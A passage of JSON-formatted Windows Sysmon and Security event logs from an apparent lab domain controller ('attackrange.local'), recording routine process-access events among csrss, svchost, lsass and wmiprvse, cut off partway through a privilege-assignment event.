-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4367-5F2D-0000-00100FD51100}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4367-5F2D-0000-00100FD51100}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:23.245\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4382-5F2D-0000-0010502F1200}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:23.245","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4382-5F2D-0000-0010502F1200}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:23.276\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4382-5F2D-0000-0010502F1200}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x101541\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+43f7|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+15538|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+b920|C:\\Windows\\system32\\wbem\\wbemcore.dll+255ff|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+2685b|C:\\Windows\\system32\\wbem\\wbemcore.dll+22b78|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:23.276","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"4488","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4382-5F2D-0000-0010502F1200}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x101541","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+43f7|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+15538|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+b920|C:\\Windows\\system32\\wbem\\wbemcore.dll+255ff|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+2685b|C:\\Windows\\system32\\wbem\\wbemcore.dll+22b78|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:23.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4382-5F2D-0000-0010502F1200}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:23.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4382-5F2D-0000-0010502F1200}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:23.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4382-5F2D-0000-0010502F1200}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:23.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4382-5F2D-0000-0010502F1200}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:23.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:23.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:23.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:23.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:23.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:23.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222357,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon 